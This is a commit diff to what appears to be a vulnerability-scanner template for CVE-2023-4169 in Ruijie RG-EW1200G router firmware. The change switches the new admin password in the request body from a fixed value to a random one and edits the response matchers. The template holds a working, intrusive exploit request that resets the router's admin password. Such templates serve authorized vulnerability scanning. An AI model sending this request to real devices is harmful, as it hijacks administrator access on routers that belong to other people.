Update CVE-2023-4169.yaml

patch-1
pussycat0x 2023-11-02 12:28:15 +05:30 committed by GitHub
parent c06ab6c197
commit ae2aba2c3c
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 4 additions and 3 deletions

View File

@ -16,6 +16,9 @@ info:
product: rg-ew1200g_firmware product: rg-ew1200g_firmware
tags: cve,cve2023,ruijie,router,intrusive tags: cve,cve2023,ruijie,router,intrusive
variables:
password: "{{rand_base(8)}}"
http: http:
- method: POST - method: POST
path: path:
@ -23,7 +26,7 @@ http:
body: | body: |
{ {
"username":"web", "username":"web",
"admin_new":"admin" "admin_new":"{{password}}"
} }
matchers-condition: and matchers-condition: and
@ -31,9 +34,7 @@ http:
- type: word - type: word
part: body part: body
words: words:
- '友情提示'
- '"result":"ok"' - '"result":"ok"'
condition: and
- type: word - type: word
part: header part: header